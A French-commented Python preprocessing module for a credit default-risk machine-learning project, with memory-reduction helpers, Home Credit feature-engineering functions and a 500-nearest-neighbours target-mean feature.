{"text": "\"\"\" Librairie contenant les fonctions de pr\u00e9-processing.\r\n\"\"\"\r\n\r\n#! /usr/bin/env python3\r\n# coding: utf-8\r\n\r\n# ====================================================================\r\n# Outils Fonctions PRE PROCESSING -  projet 7 Openclassrooms\r\n# Version : 0.0.0 - CRE LR 16/07/2021\r\n# ====================================================================\r\n# from IPython.core.display import display\r\n# from datetime import datetime\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pickle\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nimport lightgbm as lgb\r\nfrom boruta import BorutaPy\r\nfrom BorutaShap import BorutaShap\r\nfrom sklearn.utils import check_random_state\r\nfrom sklearn.inspection import permutation_importance\r\nimport eli5\r\nfrom eli5.sklearn import PermutationImportance\r\nimport matplotlib.pyplot as plt\r\nfrom IPython.display import display\r\nfrom sklearn.feature_selection import RFECV\r\nfrom pprint import pprint\r\n\r\n# --------------------------------------------------------------------\r\n# -- VERSION\r\n# --------------------------------------------------------------------\r\n__version__ = '0.0.0'\r\n\r\n\r\n# --------------------------------------------------------------------\r\n# -- AMELIORATION DE L'USAGE DE LA MEMOIRE DES OBJETS\r\n# --------------------------------------------------------------------\r\n\r\ndef reduce_mem_usage(data, verbose=True):\r\n    # source: https://www.kaggle.com/gemartin/load-data-reduce-memory-usage\r\n    '''\r\n    This function is used to reduce the memory usage by converting the datatypes of a pandas\r\n    DataFrame withing required limits.\r\n    '''\r\n\r\n    start_mem = data.memory_usage().sum() / 1024**2\r\n    if verbose:\r\n        print('-' * 79)\r\n        print('Memory usage du dataframe: {:.2f} MB'.format(start_mem))\r\n\r\n    for col in data.columns:\r\n        col_type = data[col].dtype\r\n\r\n        #  Float et int\r\n        if col_type != object:\r\n            c_min = data[col].min()\r\n            c_max = data[col].max()\r\n            if str(col_type)[:3] == 'int':\r\n                if c_min > np.iinfo(\r\n                        np.int8).min and c_max < np.iinfo(\r\n                        np.int8).max:\r\n                    data[col] = data[col].astype(np.int8)\r\n                elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\r\n                    data[col] = data[col].astype(np.int16)\r\n                elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\r\n                    data[col] = data[col].astype(np.int32)\r\n                elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\r\n                    data[col] = data[col].astype(np.int64)\r\n            else:\r\n                if c_min > np.finfo(\r\n                        np.float16).min and c_max < np.finfo(\r\n                        np.float16).max:\r\n                    data[col] = data[col].astype(np.float16)\r\n                elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\r\n                    data[col] = data[col].astype(np.float32)\r\n                else:\r\n                    data[col] = data[col].astype(np.float64)\r\n\r\n        # # Boolean : pas \u00e0 faire car pour machine learning il faut des int 0/1\r\n        # et pas False/True\r\n        # if list(data[col].unique()) == [0, 1] or list(data[col].unique()) == [1, 0]:\r\n        #     data[col] = data[col].astype(bool)\r\n\r\n    end_mem = data.memory_usage().sum() / 1024**2\r\n    if verbose:\r\n        print('Memory usage apr\u00e8s optimization: {:.2f} MB'.format(end_mem))\r\n        print('Diminution de {:.1f}%'.format(\r\n            100 * (start_mem - end_mem) / start_mem))\r\n        print('-' * 79)\r\n\r\n    return data\r\n\r\n\r\ndef convert_types(dataframe, print_info=False):\r\n\r\n    original_memory = dataframe.memory_usage().sum()\r\n\r\n    # Iterate through each column\r\n    for c in dataframe:\r\n\r\n        # Convert ids and booleans to integers\r\n        if ('SK_ID' in c):\r\n            dataframe[c] = dataframe[c].fillna(0).astype(np.int32)\r\n\r\n        # Convert objects to category\r\n        elif (dataframe[c].dtype == 'object') and (dataframe[c].nunique() < dataframe.shape[0]):\r\n            dataframe[c] = dataframe[c].astype('category')\r\n\r\n        # Booleans mapped to integers\r\n        elif list(dataframe[c].unique()) == [1, 0]:\r\n            dataframe[c] = dataframe[c].astype(bool)\r\n\r\n        # Float64 to float32\r\n        elif dataframe[c].dtype == float:\r\n            dataframe[c] = dataframe[c].astype(np.float32)\r\n\r\n        # Int64 to int32\r\n        elif dataframe[c].dtype == int:\r\n            dataframe[c] = dataframe[c].astype(np.int32)\r\n\r\n    new_memory = dataframe.memory_usage().sum()\r\n\r\n    if print_info:\r\n        print(\r\n            f'Memory Usage \u00e0 l\\'origine : {round(original_memory / 1e9, 2)} Gb.')\r\n        print(\r\n            f'Memory Usage apr\u00e8s modification des types: {round(new_memory / 1e9, 2)} Gb.')\r\n\r\n    return dataframe\r\n\r\n# --------------------------------------------------------------------\r\n# -- FEATURE ENGINEERING : cr\u00e9ation de nouvelles variables\r\n# --------------------------------------------------------------------\r\n\r\n\r\ndef feature_engineering_application(data):\r\n    '''\r\n    FEATURE ENGINEERING : cr\u00e9ation de nouvelles variables.\r\n    Extrait de : https://github.com/rishabhrao1997/Home-Credit-Default-Risk\r\n    Parameters\r\n    ----------\r\n    data : dataframe pour ajout de nouvelles variables, obligatoire.\r\n    Returns\r\n    -------\r\n    None.\r\n    '''\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables de revenu, de rente et de cr\u00e9dit :  ratio / diff\u00e9rence\r\n    # -----------------------------------------------------------------------\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat / Revenu du demandeur\r\n    data['CREDIT_INCOME_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['AMT_INCOME_TOTAL'] + 0.00001)\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat / Annuit\u00e9 de pr\u00eat\r\n    data['CREDIT_ANNUITY_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['AMT_ANNUITY'] + 0.00001)\r\n    # Ratio : Annuit\u00e9 de pr\u00eat / Revenu du demandeur\r\n    data['ANNUITY_INCOME_RATIO'] = data['AMT_ANNUITY'] / \\\r\n        (data['AMT_INCOME_TOTAL'] + 0.00001)\r\n    # Diff\u00e9rence : Revenu du demandeur - Annuit\u00e9 de pr\u00eat\r\n    data['INCOME_ANNUITY_DIFF'] = data['AMT_INCOME_TOTAL'] - \\\r\n        data['AMT_ANNUITY']\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat / prix des biens pour lesquels le pr\u00eat est accord\u00e9\r\n    # Cr\u00e9dit est sup\u00e9rieur au prix des biens ?\r\n    data['CREDIT_GOODS_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['AMT_GOODS_PRICE'] + 0.00001)\r\n    # Diff\u00e9rence : Revenu du demandeur - prix des biens pour lesquels le pr\u00eat\r\n    # est accord\u00e9\r\n    data['INCOME_GOODS_DIFF'] = data['AMT_INCOME_TOTAL'] / \\\r\n        data['AMT_GOODS_PRICE']\r\n    # Ratio : Annuit\u00e9 de pr\u00eat / \u00c2ge du demandeur au moment de la demande\r\n    data['INCOME_AGE_RATIO'] = data['AMT_INCOME_TOTAL'] / (\r\n        data['DAYS_BIRTH'] + 0.00001)\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat / \u00c2ge du demandeur au moment de la\r\n    # demande\r\n    data['CREDIT_AGE_RATIO'] = data['AMT_CREDIT'] / (\r\n        data['DAYS_BIRTH'] + 0.00001)\r\n    # Ratio : Revenu du demandeur / Score normalis\u00e9 de la source de donn\u00e9es\r\n    # externe 3\r\n    data['INCOME_EXT_RATIO'] = data['AMT_INCOME_TOTAL'] / \\\r\n        (data['EXT_SOURCE_3'] + 0.00001)\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat / Score normalis\u00e9 de la source de\r\n    # donn\u00e9es externe\r\n    data['CREDIT_EXT_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['EXT_SOURCE_3'] + 0.00001)\r\n    # Multiplication : Revenu du demandeur\r\n    #                  * heure \u00e0 laquelle le demandeur \u00e0 fait sa demande de pr\u00eat\r\n    data['HOUR_PROCESS_CREDIT_MUL'] = data['AMT_CREDIT'] * \\\r\n        data['HOUR_APPR_PROCESS_START']\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur l'\u00e2ge\r\n    # -----------------------------------------------------------------------\r\n    # YEARS_BIRTH - \u00c2ge du demandeur au moment de la demande DAYS_BIRTH en\r\n    # ann\u00e9es\r\n    data['YEARS_BIRTH'] = data['DAYS_BIRTH'] * -1 / 365\r\n    # Diff\u00e9rence : \u00c2ge du demandeur - Anciennet\u00e9 dans l'emploi \u00e0 date demande\r\n    data['AGE_EMPLOYED_DIFF'] = data['DAYS_BIRTH'] - data['DAYS_EMPLOYED']\r\n    # Ratio : Anciennet\u00e9 dans l'emploi \u00e0 date demande / \u00c2ge du demandeur\r\n    data['EMPLOYED_AGE_RATIO'] = data['DAYS_EMPLOYED'] / \\\r\n        (data['DAYS_BIRTH'] + 0.00001)\r\n    # Ratio : nombre de jours avant la demande o\u00f9 le demandeur a chang\u00e9 de t\u00e9l\u00e9phone \\\r\n    #         \u00e4ge du client\r\n    data['LAST_PHONE_BIRTH_RATIO'] = data[\r\n        'DAYS_LAST_PHONE_CHANGE'] / (data['DAYS_BIRTH'] + 0.00001)\r\n    # Ratio : nombre de jours avant la demande o\u00f9 le demandeur a chang\u00e9 de t\u00e9l\u00e9phone \\\r\n    #         anciennet\u00e9 dans l'emploi\r\n    data['LAST_PHONE_EMPLOYED_RATIO'] = data[\r\n        'DAYS_LAST_PHONE_CHANGE'] / (data['DAYS_EMPLOYED'] + 0.00001)\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur la voiture\r\n    # -----------------------------------------------------------------------\r\n    # Diff\u00e9rence : \u00c2ge de la voiture du demandeur -  Anciennet\u00e9 dans l'emploi\r\n    # \u00e0 date demande\r\n    data['CAR_EMPLOYED_DIFF'] = data['OWN_CAR_AGE'] - data['DAYS_EMPLOYED']\r\n    # Ratio : \u00c2ge de la voiture du demandeur / Anciennet\u00e9 dans l'emploi \u00e0 date\r\n    # demande\r\n    data['CAR_EMPLOYED_RATIO'] = data['OWN_CAR_AGE'] / \\\r\n        (data['DAYS_EMPLOYED'] + 0.00001)\r\n    # Diff\u00e9rence : \u00c2ge du demandeur - \u00c2ge de la voiture du demandeur\r\n    data['CAR_AGE_DIFF'] = data['DAYS_BIRTH'] - data['OWN_CAR_AGE']\r\n    # Ratio : \u00c2ge de la voiture du demandeur / \u00c2ge du demandeur\r\n    data['CAR_AGE_RATIO'] = data['OWN_CAR_AGE'] / \\\r\n        (data['DAYS_BIRTH'] + 0.00001)\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur les contacts\r\n    # -----------------------------------------------------------------------\r\n    # Somme : t\u00e9l\u00e9phone portable? + t\u00e9l\u00e9phone professionnel? + t\u00e9l\u00e9phone\r\n    #         professionnel fixe? + t\u00e9l\u00e9phone portable joignable? +\r\n    #         adresse de messagerie \u00e9lectronique?\r\n    data['FLAG_CONTACTS_SUM'] = data['FLAG_MOBIL'] + data['FLAG_EMP_PHONE'] + \\\r\n        data['FLAG_WORK_PHONE'] + data['FLAG_CONT_MOBILE'] + \\\r\n        data['FLAG_PHONE'] + data['FLAG_EMAIL']\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur les membres de la famille\r\n    # -----------------------------------------------------------------------\r\n    # Diff\u00e9rence : membres de la famille - enfants (adultes)\r\n    data['CNT_NON_CHILDREN'] = data['CNT_FAM_MEMBERS'] - data['CNT_CHILDREN']\r\n    # Ratio : nombre d'enfants / Revenu du demandeur\r\n    data['CHILDREN_INCOME_RATIO'] = data['CNT_CHILDREN'] / \\\r\n        (data['AMT_INCOME_TOTAL'] + 0.00001)\r\n    # Ratio : Revenu du demandeur / membres de la famille : revenu par t\u00eate\r\n    data['PER_CAPITA_INCOME'] = data['AMT_INCOME_TOTAL'] / \\\r\n        (data['CNT_FAM_MEMBERS'] + 1)\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur la r\u00e9gion\r\n    # -----------------------------------------------------------------------\r\n    # Moyenne : moyenne de notes de la r\u00e9gion/ville o\u00f9 vit le client * revenu\r\n    # du demandeur\r\n    data['REGIONS_INCOME_MOY'] = (data['REGION_RATING_CLIENT'] +\r\n                                  data['REGION_RATING_CLIENT_W_CITY']) * data['AMT_INCOME_TOTAL'] / 2\r\n    # Max : meilleure note de la r\u00e9gion/ville o\u00f9 vit le client\r\n    data['REGION_RATING_MAX'] = [max(ele1, ele2) for ele1, ele2 in zip(\r\n        data['REGION_RATING_CLIENT'], data['REGION_RATING_CLIENT_W_CITY'])]\r\n    # Min : plus faible note de la r\u00e9gion/ville o\u00f9 vit le client\r\n    data['REGION_RATING_MIN'] = [min(ele1, ele2) for ele1, ele2 in zip(\r\n        data['REGION_RATING_CLIENT'], data['REGION_RATING_CLIENT_W_CITY'])]\r\n    # Moyenne : des notes de la r\u00e9gion et de la ville o\u00f9 vit le client\r\n    data['REGION_RATING_MEAN'] = (\r\n        data['REGION_RATING_CLIENT'] + data['REGION_RATING_CLIENT_W_CITY']) / 2\r\n    # Multipication : note de la r\u00e9gion/ note de la ville o\u00f9 vit le client\r\n    data['REGION_RATING_MUL'] = data['REGION_RATING_CLIENT'] * \\\r\n        data['REGION_RATING_CLIENT_W_CITY']\r\n    # Somme : des indicateurs  :\r\n    # Indicateur si l'adresse permanente du client ne correspond pas \u00e0 l'adresse de contact (1=diff\u00e9rent ou 0=identique - au niveau de la r\u00e9gion)\r\n    # Indicateur si l'adresse permanente du client ne correspond pas \u00e0 l'adresse professionnelle (1=diff\u00e9rent ou 0=identique - au niveau de la r\u00e9gion)\r\n    # Indicateur si l'adresse de contact du client ne correspond pas \u00e0 l'adresse de travail (1=diff\u00e9rent ou 0=identique - au niveau de la r\u00e9gion).\r\n    # Indicateur si l'adresse permanente du client ne correspond pas \u00e0 l'adresse de contact (1=diff\u00e9rent ou 0=identique - au niveau de la ville)\r\n    # Indicateur si l'adresse permanente du client ne correspond pas \u00e0 l'adresse professionnelle (1=diff\u00e9rent ou 0=m\u00eame - au niveau de la ville).\r\n    # Indicateur si l'adresse de contact du client ne correspond pas \u00e0\r\n    # l'adresse de travail (1=diff\u00e9rent ou 0=identique - au niveau de la\r\n    # ville).\r\n    data['FLAG_REGIONS_SUM'] = data['REG_REGION_NOT_LIVE_REGION'] + \\\r\n        data['REG_REGION_NOT_WORK_REGION'] + \\\r\n        data['LIVE_REGION_NOT_WORK_REGION'] + \\\r\n        data['REG_CITY_NOT_LIVE_CITY'] + \\\r\n        data['REG_CITY_NOT_WORK_CITY'] + \\\r\n        data['LIVE_CITY_NOT_WORK_CITY']\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur les sources externes : sum, min, multiplication, max, var, scoring\r\n    # -----------------------------------------------------------------------\r\n    # Somme : somme des scores des 3 sources externes\r\n    data['EXT_SOURCE_SUM'] = data[['EXT_SOURCE_1', 'EXT_SOURCE_2',\r\n                                   'EXT_SOURCE_3']].sum(axis=1)\r\n    # Moyenne : moyenne des scores des 3 sources externes\r\n    data['EXT_SOURCE_MEAN'] = data[['EXT_SOURCE_1', 'EXT_SOURCE_2',\r\n                                    'EXT_SOURCE_3']].mean(axis=1)\r\n    # Multiplication : des scores des 3 sources externes\r\n    data['EXT_SOURCE_MUL'] = data['EXT_SOURCE_1'] * \\\r\n        data['EXT_SOURCE_2'] * data['EXT_SOURCE_3']\r\n    # Max : Max parmi les 3 scores des 3 sources externes\r\n    data['EXT_SOURCE_MAX'] = [max(ele1, ele2, ele3) for ele1, ele2, ele3 in zip(\r\n        data['EXT_SOURCE_1'], data['EXT_SOURCE_2'], data['EXT_SOURCE_3'])]\r\n    # Min : Min parmi les 3 scores des 3 sources externes\r\n    data['EXT_SOURCE_MIN'] = [min(ele1, ele2, ele3) for ele1, ele2, ele3 in zip(\r\n        data['EXT_SOURCE_1'], data['EXT_SOURCE_2'], data['EXT_SOURCE_3'])]\r\n    # Variance : variance des scores des 3 sources externes\r\n    data['EXT_SOURCE_VAR'] = [np.var([ele1, ele2, ele3]) for ele1, ele2, ele3 in zip(\r\n        data['EXT_SOURCE_1'], data['EXT_SOURCE_2'], data['EXT_SOURCE_3'])]\r\n    # Scoring : scoring des scores des 3 sources externes, score 1 poids 2...\r\n    data['WEIGHTED_EXT_SOURCE'] = data.EXT_SOURCE_1 * \\\r\n        2 + data.EXT_SOURCE_2 * 3 + data.EXT_SOURCE_3 * 4\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur le b\u00e2timent\r\n    # -----------------------------------------------------------------------\r\n    # Somme : Informations normalis\u00e9es sur l'immeuble o\u00f9 vit le demandeur des moyennes\r\n    # de la taille de l'appartement, de la surface commune, de la surface habitable,\r\n    # de l'\u00e2ge de l'immeuble, du nombre d'ascenseurs, du nombre d'entr\u00e9es,\r\n    # de l'\u00e9tat de l'immeuble et du nombre d'\u00e9tages.\r\n    data['APARTMENTS_SUM_AVG'] = data['APARTMENTS_AVG'] + data['BASEMENTAREA_AVG'] + data['YEARS_BEGINEXPLUATATION_AVG'] + data[\r\n        'YEARS_BUILD_AVG'] + data['ELEVATORS_AVG'] + data['ENTRANCES_AVG'] + data[\r\n        'FLOORSMAX_AVG'] + data['FLOORSMIN_AVG'] + data['LANDAREA_AVG'] + data[\r\n        'LIVINGAREA_AVG'] + data['NONLIVINGAREA_AVG']\r\n    # Somme : Informations normalis\u00e9es sur l'immeuble o\u00f9 vit le demandeur des modes\r\n    # de la taille de l'appartement, de la surface commune, de la surface habitable,\r\n    # de l'\u00e2ge de l'immeuble, du nombre d'ascenseurs, du nombre d'entr\u00e9es,\r\n    # de l'\u00e9tat de l'immeuble et du nombre d'\u00e9tages.\r\n    data['APARTMENTS_SUM_MODE'] = data['APARTMENTS_MODE'] + data['BASEMENTAREA_MODE'] + data['YEARS_BEGINEXPLUATATION_MODE'] + data[\r\n        'YEARS_BUILD_MODE'] + data['ELEVATORS_MODE'] + data['ENTRANCES_MODE'] + data[\r\n        'FLOORSMAX_MODE'] + data['FLOORSMIN_MODE'] + data['LANDAREA_MODE'] + data[\r\n        'LIVINGAREA_MODE'] + data['NONLIVINGAREA_MODE'] + data['TOTALAREA_MODE']\r\n    # Somme : Informations normalis\u00e9es sur l'immeuble o\u00f9 vit le demandeur des m\u00e9dianes\r\n    # de la taille de l'appartement, de la surface commune, de la surface habitable,\r\n    # de l'\u00e2ge de l'immeuble, du nombre d'ascenseurs, du nombre d'entr\u00e9es,\r\n    # de l'\u00e9tat de l'immeuble et du nombre d'\u00e9tages.\r\n    data['APARTMENTS_SUM_MEDI'] = data['APARTMENTS_MEDI'] + data['BASEMENTAREA_MEDI'] + data['YEARS_BEGINEXPLUATATION_MEDI'] + data[\r\n        'YEARS_BUILD_MEDI'] + data['ELEVATORS_MEDI'] + data['ENTRANCES_MEDI'] + data[\r\n        'FLOORSMAX_MEDI'] + data['FLOORSMIN_MEDI'] + data['LANDAREA_MEDI'] + \\\r\n        data['NONLIVINGAREA_MEDI']\r\n    # Multiplication : somme des moyennes des infos sur le b\u00e2timent * revenu\r\n    # du demandeur\r\n    data['INCOME_APARTMENT_AVG_MUL'] = data['APARTMENTS_SUM_AVG'] * \\\r\n        data['AMT_INCOME_TOTAL']\r\n    # Multiplication : somme des modes des infos sur le b\u00e2timent * revenu du\r\n    # demandeur\r\n    data['INCOME_APARTMENT_MODE_MUL'] = data['APARTMENTS_SUM_MODE'] * \\\r\n        data['AMT_INCOME_TOTAL']\r\n    # Multiplication : somme des m\u00e9dianes des infos sur le b\u00e2timent * revenu\r\n    # du demandeur\r\n    data['INCOME_APARTMENT_MEDI_MUL'] = data['APARTMENTS_SUM_MEDI'] * \\\r\n        data['AMT_INCOME_TOTAL']\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur les d\u00e9fauts de paiements et les d\u00e9fauts observables\r\n    # -----------------------------------------------------------------------\r\n    # Somme : nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts observables de 30 DPD (jours de retard) +\r\n    #        nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts observables de 60 DPD (jours de retard)\r\n    data['OBS_30_60_SUM'] = data['OBS_30_CNT_SOCIAL_CIRCLE'] + \\\r\n        data['OBS_60_CNT_SOCIAL_CIRCLE']\r\n    # Somme : nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement de 30 DPD (jours de retard) +\r\n    #        nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement de 60 DPD (jours de retard)\r\n    data['DEF_30_60_SUM'] = data['DEF_30_CNT_SOCIAL_CIRCLE'] + \\\r\n        data['DEF_60_CNT_SOCIAL_CIRCLE']\r\n    # Multiplication : nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts observables de 30 DPD (jours de retard) *\r\n    #        nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts observables de 60 DPD (jours de retard)\r\n    data['OBS_DEF_30_MUL'] = data['OBS_30_CNT_SOCIAL_CIRCLE'] * \\\r\n        data['DEF_30_CNT_SOCIAL_CIRCLE']\r\n    # Multiplication : nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement de 30 DPD (jours de retard) *\r\n    #        nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement de 60 DPD (jours de retard)\r\n    data['OBS_DEF_60_MUL'] = data['OBS_60_CNT_SOCIAL_CIRCLE'] * \\\r\n        data['DEF_60_CNT_SOCIAL_CIRCLE']\r\n    # Somme : nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement ou des d\u00e9fauts observables avec 30\r\n    #         DPD (jours de retard) et 60 DPD.\r\n    data['SUM_OBS_DEF_ALL'] = data['OBS_30_CNT_SOCIAL_CIRCLE'] + data['DEF_30_CNT_SOCIAL_CIRCLE'] + \\\r\n        data['OBS_60_CNT_SOCIAL_CIRCLE'] + data['DEF_60_CNT_SOCIAL_CIRCLE']\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat /\r\n    #         nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts observables de 30 DPD (jours de retard)\r\n    data['OBS_30_CREDIT_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['OBS_30_CNT_SOCIAL_CIRCLE'] + 0.00001)\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat /\r\n    #         nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts observables de 60 DPD (jours de retard)\r\n    data['OBS_60_CREDIT_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['OBS_60_CNT_SOCIAL_CIRCLE'] + 0.00001)\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat /\r\n    #         nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement de 30 DPD (jours de retard)\r\n    data['DEF_30_CREDIT_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['DEF_30_CNT_SOCIAL_CIRCLE'] + 0.00001)\r\n    # Ratio : Montant du cr\u00e9dit du pr\u00eat /\r\n    #         nombre d'observations de l'environnement social du demandeur\r\n    #         avec des d\u00e9fauts de paiement de 60 DPD (jours de retard)\r\n    data['DEF_60_CREDIT_RATIO'] = data['AMT_CREDIT'] / \\\r\n        (data['DEF_60_CNT_SOCIAL_CIRCLE'] + 0.00001)\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur les indicateurs des documents fournis ou non\r\n    # -----------------------------------------------------------------------\r\n    # Toutes les variables DOCUMENT_\r\n    cols_flag_doc = [flag for flag in data.columns if 'FLAG_DOC' in flag]\r\n    # Somme : tous les indicateurs des documents fournis ou non\r\n    data['FLAGS_DOCUMENTS_SUM'] = data[cols_flag_doc].sum(axis=1)\r\n    # Moyenne : tous les indicateurs des documents fournis ou non\r\n    data['FLAGS_DOCUMENTS_AVG'] = data[cols_flag_doc].mean(axis=1)\r\n    # Variance : tous les indicateurs des documents fournis ou non\r\n    data['FLAGS_DOCUMENTS_VAR'] = data[cols_flag_doc].var(axis=1)\r\n    # Ecart-type : tous les indicateurs des documents fournis ou non\r\n    data['FLAGS_DOCUMENTS_STD'] = data[cols_flag_doc].std(axis=1)\r\n\r\n    # -----------------------------------------------------------------------\r\n    # Variables sur le d\u00e9tail des modifications du demandeur : jour/heure...\r\n    # -----------------------------------------------------------------------\r\n    # Somme : nombre de jours avant la demande de changement de t\u00e9l\u00e9phone\r\n    #         + nombre de jours avant la demande de changement enregistr\u00e9 sur la demande\r\n    #         + nombre de jours avant la demande le client o\u00f9 il \u00e0\r\n    #           chang\u00e9 la pi\u00e8ce d'identit\u00e9 avec laquelle il a demand\u00e9 le pr\u00eat\r\n    data['DAYS_DETAILS_CHANGE_SUM'] = data['DAYS_LAST_PHONE_CHANGE'] + \\\r\n        data['DAYS_REGISTRATION'] + data['DAYS_ID_PUBLISH']\r\n    # Somme : nombre de demandes de renseignements sur le client adress\u00e9es au Bureau de cr\u00e9dit\r\n    # une heure + 1 jour + 1 mois + 3 mois + 1 an et 1 jour avant la demande\r\n    data['AMT_ENQ_SUM'] = data['AMT_REQ_CREDIT_BUREAU_HOUR'] + data['AMT_REQ_CREDIT_BUREAU_DAY'] + data['AMT_REQ_CREDIT_BUREAU_WEEK'] + \\\r\n        data['AMT_REQ_CREDIT_BUREAU_MON'] + \\\r\n            data['AMT_REQ_CREDIT_BUREAU_QRT'] + \\\r\n                data['AMT_REQ_CREDIT_BUREAU_YEAR']\r\n    # Ratio : somme du nombre de demandes de renseignements sur le client adress\u00e9es au Bureau de cr\u00e9dit\r\n    #         une heure + 1 jour + 1 mois + 3 mois + 1 an et 1 jour avant la demande \\\r\n    #         Montant du cr\u00e9dit du pr\u00eat\r\n    data['ENQ_CREDIT_RATIO'] = data['AMT_ENQ_SUM'] / \\\r\n        (data['AMT_CREDIT'] + 0.00001)\r\n\r\n    return data\r\n\r\n\r\n# --------------------------------------------------------------------\r\n# -- FEATURE ENGINEERING : super variable gagnant concours kaggle\r\n# --------------------------------------------------------------------\r\n\r\n\r\ndef feature_engineering_neighbors_EXT_SOURCE(dataframe):\r\n    '''\r\n     - Imputation de la moyenne des 500 valeurs cibles des voisins les plus\r\n       proches pour chaque application du train set ou test set.\r\n     - Les voisins sont calcul\u00e9s en utilisant :\r\n       - les variables tr\u00e8s importantes :\r\n       - EXT_SOURCE-1,\r\n       - EXT_SOURCE_2\r\n       - et EXT_SOURCE_3,\r\n     - et CREDIT_ANNUITY_RATIO (ratio du Montant du cr\u00e9dit du pr\u00eat / Annuit\u00e9 de pr\u00eat).\r\n     [Source](https://www.kaggle.com/c/home-credit-default-risk/discussion/64821)\r\n     Inputs: dataframe pour lequel on veut ajouter la variable des 500 plus\r\n             proches voisins.\r\n     Returns:\r\n         None\r\n     '''\r\n\r\n    knn = KNeighborsClassifier(500, n_jobs=-1)\r\n\r\n    train_data_for_neighbors = dataframe[['EXT_SOURCE_1', 'EXT_SOURCE_2',\r\n                                          'EXT_SOURCE_3',\r\n                                          'CREDIT_ANNUITY_RATIO']].fillna(0)\r\n\r\n    # saving the training data for neighbors\r\n    with open('../sauvegarde/pre-processing/TARGET_MEAN_500_Neighbors_training_data.pkl', 'wb') as f:\r\n         pickle.dump(train_data_for_neighbors, f)\r\n    train_target = dataframe.TARGET\r\n\r\n    knn.fit(train_data_for_neighbors, train_target)\r\n    # pickling the knn model\r\n    with open('../sauvegarde/pre-processing/KNN_model_TARGET_500_neighbors.pkl', 'wb') as f:\r\n         pickle.dump(knn, f)\r\n\r\n    train_500_neighbors = knn.kneighbors(train_data_for_neighbors)[1]\r\n\r\n    # adding the means of targets of 500 neighbors to new column\r\n    dataframe['TARGET_NEIGHBORS_500_MEAN'] = [\r\n        dataframe['TARGET'].iloc[ele].mean() for ele in train_500_neighbors]\r\n\r\n\r\n# --------------------------------------------------------------------\r\n# -- FEATURE ENGINEERING : super variable gagnant concours kaggle\r\n# --------------------------------------------------------------------\r\n\r\n\r\ndef feature_engineering_neighbors_EXT_SOURCE_test(application_train, application_test):\r\n    '''\r\n     - Imputation de la moyenne des 500 valeurs cibles des voisins les plus\r\n       proches pour chaque application du train set ou test set.\r\n     - Les voisins sont calcul\u00e9s en utilisant :\r\n       - les variables tr\u00e8s importantes :\r\n       - EXT_SOURCE-1,\r\n       - EXT_SOURCE_2\r\n       - et EXT_SOURCE_3,\r\n     - et CREDIT_ANNUITY_RATIO (ratio du Montant du cr\u00e9dit du pr\u00eat / Annuit\u00e9 de pr\u00eat).\r\n     [Source](https://www.kaggle.com/c/home-credit-default-risk/discussion/64821)\r\n     Inputs: dataframe pour lequel on veut ajouter la variable des 500 plus\r\n             proches voisins.\r\n     Returns:\r\n         None\r\n     '''\r\n\r\n    knn = KNeighborsClassifier(500, n_jobs=-1)\r\n\r\n    train_data_for_neighbors = application_train[[\r\n        'EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3', 'CREDIT_ANNUITY_RATIO'\r\n    ]].fillna(0)\r\n\r\n    train_target = application_train.TARGET\r\n    test_data_for_neighbors = application_test[[\r\n        'EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3', 'CREDIT_ANNUITY_RATIO'\r\n    ]].fillna(0)\r\n\r\n    knn.fit(train_data_for_neighbors, train_target)\r\n\r\n    test_500_neighbors = knn.kneighbors(test_data_for_neighbors)[1]\r\n\r\n    application_test['TARGET_NEIGHBORS_500_MEAN'] = [\r\n        application_train['TARGET'].iloc[ele].mean()\r\n        for ele in test_500_neighbors\r\n    ]\r\n    \r\n\r\n# --------------------------------------------------------------------\r\n# -- AGGREGATION DES VARIABLES STATISTIQUES des VAR QUANTITATIVES\r\n# 